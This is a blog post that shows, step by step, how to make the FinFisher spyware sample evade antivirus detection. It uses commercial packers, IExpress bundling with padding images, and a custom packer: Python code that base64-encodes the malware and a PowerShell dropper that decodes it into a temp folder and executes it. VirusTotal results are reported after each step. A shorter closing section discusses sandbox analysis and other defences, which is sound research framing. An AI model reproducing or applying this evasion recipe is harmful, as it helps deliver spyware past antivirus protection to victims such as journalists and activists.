Recently, Wikileaks revealed FinFisher, a program used by governemnts to spy on journalists. Although it is claimed on the page that the malware is “previously unreleased”, we know that antivirus (AV) companies knew about it for almost 4 years, because someone uploaded it to VirusTotal close to 4 years ago:
Since it’s been known as malware for so long, most antiviruses detect it as malicious:
Evading antivirus signatures, like those used on VirusTotal, is trivial. We will try to modify/obfuscate FinFisher so that it is neither detected by antiviruses on VirusTotal nor by two standalone products including Symantec Norton Antivirus 2014 and BitDefender. We want to test against standalone products because they may have more advanced detection strategies not employed by VirusTotal. These two antiviruses both 1 2 got awards on PCMagazine, so we are not cheating with easy targets.
Finally, we’ll go through some of the more advanced detection strategies that are less trivial for malware authors to bypass.
Obfuscating Malware
One strategy that antiviruses use to detect a malicious program is finding a small part of it that is integral to its function (i.e. a virus signature) that doesn’t appear in normal software. Then, they cross reference a database of such small patterns against the file contents, and if there is a match, the file is labeled as malware.
However, it is not always easy or even possible to come up with a good signature/heuristic, because the viruses can mutate or because the malware authors can decide to obfuscate that specific part of the malware.
Software packers can be used to make it difficult to come up with such a signature or heuristic, or to change an existing piece of malware in such a way that an antivirus signature no longer matches the malware.
According to Wikipedia,
Packers are wrappers put around pieces of software to compress and/or encrypt their contents
Packers are widely used by legitimate software to hide implementation details, while retaining the function of the software. This is necessary when the author of the software doesn’t want others to copy/distribute/improve upon the software without permission.
An example of such a legitimate use case is when a video game company releases a demo of a game. Instead of bothering to remove all the functionality from the game, the developers can just have one line statement within it that would check if the license is just a demo license and remove functionality if it is. If such a game company doesn’t bother with an obfuscator/packer, it would be very easy for an expert in reverse engineering to enable the full functionality.
A very naive form of obfuscation/packing is zip compression. Here’s how a file with 100 lines of the word Hello looks on hexedit to a computer:
Here’s how the same file looks when zipped:
It wouldn’t be obvious to a person unfamiliar with zip compression that the compressed text corresponds to the original 100 lines of “Hello”. Other packers don’t make this process easy at all, especially if the antivirus has not encountered the packer before.
Here’s a landscape of the currently available off-the-shelf packers (taken from http://forensicmethods.com/executablepackers)
Commercial Legal packers and FUD (Fully UnDetectable) packers.
When a malware author wants to obfuscate malware, they would want to use the same strategies as someone using packers legitimately.
One solution for a malware author is to use a commercial FUD malware packer. These are new packers that haven’t yet been seen by antiviruses and that can be used to package any malware so that it wouldn’t be detected by antiviruses. One can purchase these packers either on the open internet e.g. Best-Fud, the operation of which is shown here. Please don’t try to use this packer. I have not tested it. It may contain malware itself.
Another solution is to go to a hidden services market such as Silk Road 2 and purchase a new FUD malware packer. Since the packer isn’t known to the AV companies ahead of time, they wouldn’t be able to come up with a good signature for it.
A third solution is to simply buy a legitimate packer such as Themida. This way it’s not malware authors battling antivirus vendors, where antivirus vendors are free to label the FUD crypter itself as malware, but the whole software obfuscation industry vs antivirus vendors, where labeling anything packed by the packer as malware is not an option. In fact, even the latest malware deobfuscation techniques struggle with some of the commercial packers.
Let’s get to it!
We’ll try to obfuscate/pack FinFisher, so that no antivirus detects it. We will try to only use free/demo versions of obfuscators, including the windows built in IExpress bundler, demo version of Themida and demo version of VMProtect packer.
To begin, let’s see where we stand with detection of the original file. We already saw the Virustotal results, but let’s see what the standalone packers say.
Norton AV:
And by Bitdefender:
Yup, a known malicious 4 year old malware.
First, let’s try to use IExpress to package the original FinFisher file downloaded from WikiLeaks. Here’s how to do it:
And after uploading the resulting file to VirusTotal, we get this result:
A little better, but all the common antiviruses still detect it. This includes Bitdefender standalone:
However, NortonAV doesn’t:
In other words, we can simply use a built-in Windows tool to modify malware to bypass a mainstream antivirus.
However, we would like to keep going and try to sneak FinFisher by as many antiviruses as possible.
Now, we’ll download Themida from its official site and use the demo version on our exe file with the default settings. This involves simply following through the menu options, so I will not show that here, but after packing, the standalone Bitdefender product doesn’t detect it:
And when we upload it to VirusTotal …
We are just left with 7. However, based on the malware names, it looks like at least some of the antiviruses are protesting against the Themida packer instead of the malware.
Just to be sure, let’s package Windows Media Player with Themida and test the final product on VirusTotal:
So just packaging a non-trivial windows application with a commercial packer gets you flagged by a number of antiviruses. Bad news for people using Themida for legitimate purposes.
Combining IExpress with Themida doesn’t result in much improvement over the plain Themida version, so I won’t show the results here.
Now let’s try VMProtect demo version that you can get from here on the same file:
Looks like FinFisher is still detected inside. But what if we package the binary with IExpress followed by VMProtect?
(Almost) Success… Neither Symantec nor BitDefender standalone version detects our new packed malware.
Let’s add an image to our file. We are doing this because we want to mess with file entropy, increase the file size and make it harder to figure out where the actual code is. Different antiviruses rely on some or all of these attributes when searching for patterns in the binary file.
And after packaging them with IExpress and uploading to VT:
The users of Bkav should be really happy right now. But from this process we can already see that using multiple packers is an extremely easy to execute and effective strategy to avoid AV detection.
Let’s not give up yet, though. What if we add all the built in Windows photos:
to the bundled exe? This is done for the same reasons we added one image.
And…
It worked:
So we bypassed all AV detection on VirusTotal, and also 2 of the top standalone products. We also didn’t have to do any programming at all. We simply used a demo version of a commercial packer and a built-in Windows utility.
However, how hard would it be to create our own FUD packer to hide FinFisher, or any other malware for that matter?
Creating a custom FUD packer
Where do we start? Well, we saw with the ZIP example, that packed code looks very different from actual code. Although humans could figure out what the malware is doing, it is much harder to teach an antivirus to figure out how to determine whether something looks suspicious.
Let’s try a very simple technique. It’s called Base64 encoding. It corresponds to looking at numbers in base64 instead of our usual base10.
Specifically, what we are going to do is read in n
bytes at a time, convert them to base64, finish the line, read in n
bytes again and so on until we write out the whole file in base64. Then we’re going to create an executable from a PowerShell file that reads in base 64 and converts it back to bytes… but only after a user executes it. In other words, no signature would be able to find the virus and a typical AV won’t be able to do anything until it is too late.
Part 0: Choosing the language to use:
I <3 Python for scripting, so let’s try to write the packer in Python. Problem with Python is that it is not installed on Windows computers by default, so we need to make an exe file out of the Python script first. I used py2exe.
Python code for the actual file:
if __name__=='__main__':
out_f_name = 'out_file.exe'
Almost nothing. Just a variable assignment. Then pack it with with the following code:
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1, 'compressed': True}},
windows = [{'script': "something.py"}],
zipfile = None,
)
And test the resulting file on VirusTotal:
Ok, looks like we’re stuck getting detected even with a benign “hello world” program. Anyone who writes any program in Python and wants to make an installer with one of the most popular executable file generators is going to have their creation be labled as a virus by one of the AVs. We also see that just because something is labeled as malicious by one AV, it doesn’t necessarily mean that it is a virus.
Going through the same process with PowerShell and PS2EXE, I got no false positives, so we’ll use PowerShell.
Part I: Converting to base64
This process is very simple in Python. Here’s the code:
from base64 import b64encode
f_name1 = r'C:\Users\John\Desktop\finfisher.1.exe'
f_name2 = r'C:\Users\John\Desktop\finfisher_lines.b64'
with open(f_name1, 'rb') as f, open(f_name2, 'wb') as f2:
buf = f.read(5)
while len(buf) > 0:
f2.write(b64encode(buf) + b'\r\n')
buf = f.read(5)
We read in from finfisher.1.exe
, which is our malware, and convert to finfisher_lines.b64
, which is the same file encoded to base64 5 bytes at a time.
Part II: Converting back to binary and executing
Since we are in Windows land, we will have to use Windows tools for our packer.
PowerShell to the rescue:
$data = Get-Content "finfisher_lines.b64"
$vname = 'C:\Windows\Temp\finfisher.exe'
$s_o = new-object System.IO.FileStream($vname, [IO.FileMode]::Create, [IO.FileAccess]::Write, [IO.FileShare]::None)
foreach ($line in $data) {
$l = [System.Convert]::FromBase64String($line)
$s_o.Write($l, 0, $l.Length)
}
$s_o.close()
Invoke-Item $vname
All we’re doing here is decoding from base64 and executing the resulting binary.
To make this PowerShell script into a binary, we’ll use PS2EXE with the following command
.\ps2exe.ps1 -verbose -inputFile C:\bin_writer.psl C:\final_bin.exe
After this we still have two files: final_bin.exe
and finfisher_lines.b64
that it consumes. To make one file, we just run IExpress again to bundle them together and submit to VirusTotal:
Bkav again fighting a good fight.
Let’s trick it by doing the same thing we did with commercial packers - add some images to the file.
After adding the images, let’s upload to VirusTotal again:
Success! We now have a FUD packer.
To Review
We first encoded the original binary into base64, then we wrote a PowerShell script that reads the b64 file and converts it to back to binary file and launches it. Then we bundled the two files together using IExpress.
Almost any Windows malware can be packed and be rendered undetectable using this or similar strategy with small variations.
Sandbox analysis - an alternative detection strategy
Although virus signatures is a useful tool for malware detection, antiviruses should not rely on it to such an extent. Users should have an option for more thorough file analysis, especially when they’re very suspicious of a specific file. The only solution that could have worked in this case is sandbox analysis.
Sandbox analysis works by running suspicious programs in an isolated enviornment and attempting to observe all activities the program partakes in. In cases where the program tries to perform suspicious activities such as recording keystrokes or connecting to known malicious domains, it would be marked as malicious. Packers would have no effect on this, because packing happens before execution. The program would still perform the same malicious activities, triggering detection by the sandbox. In our case, no matter how much we pack it, FinFisher would remain FinFisher.
A major downside of this strategy is computational cost. Antiviruses already tax the system they are installed on just by cross-referencing the contents of the binary against their signature databse. A separate virtual machine that acts as a sandbox may effectively double the computatinal cost of the plain system. If we assume AVs' current model of running analysis on the user's machine, this overhead may prohibitive.
One way to not annoy the users with the overhead and still use sandbox analysis is for the AV companies to send all the binaries to the cloud, which has its own downside of network bandwidth overhead, especially for large files.
Another way is for system administrators to install a network security platform that forks binaries traffic, analyses them in a sandbox and then quarantines the affected user if malicious behavior is detected.
As long as sandbox analysis is not implemented by the best AVs, journalists, activists and political dissidents are in danger of being infected with different versions of the same malware that are trivial to generate.
What can be done to stop packer-backed malware proliferation?
Users:
- Power users can browse the internet from within a Virtual Machine (VM). Thus their main system / other VMs would not get infected and sensitive information would not be stolen.
- Do not execute files of unknown origin.
System Administrators
- Install and use a network security platform that monitors the network for malicious binaries/traffic and quarantines affected users.
- Educate users about not downloading malicious attachments from emails. This would not stop users from being infected with droppers.
- Block potentially compromised web sites that may host droppers that can launch such executables.
- Allow only specific programs to run via Local Group Policy settings. An example of this is shown here.
TL;DR
We can easily combine a few free tools or create a custom packer to pack FinFisher or other well-known malware to make it undetectable by current antiviruses. Sandbox analysis can be an effective strategy in defending against packers.
packer,frequency Original,43 IExpress,24 Themida,7 VMP,13 IE/VMP,2 IE/VMP/IE,1 IE/VMP/IE + Pics,0 Python + py2exe,1 PS,1 PS + Pics,0